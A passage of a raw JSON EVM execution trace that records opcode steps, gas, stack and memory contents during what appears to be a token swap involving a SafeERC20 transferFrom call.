16c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":79603,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1","0x3424","0x304","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":79601,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1","0x3424","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":79599,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1","0x3424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13348,"op":"JUMPDEST","gas":79591,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13349,"op":"PUSH2","gas":79590,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13352,"op":"JUMPI","gas":79587,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1","0x2db6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11702,"op":"JUMPDEST","gas":79577,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11703,"op":"POP","gas":79576,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11704,"op":"POP","gas":79574,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11705,"op":"POP","gas":79572,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11706,"op":"JUMP","gas":79570,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11903,"op":"JUMPDEST","gas":79562,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11904,"op":"POP","gas":79561,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0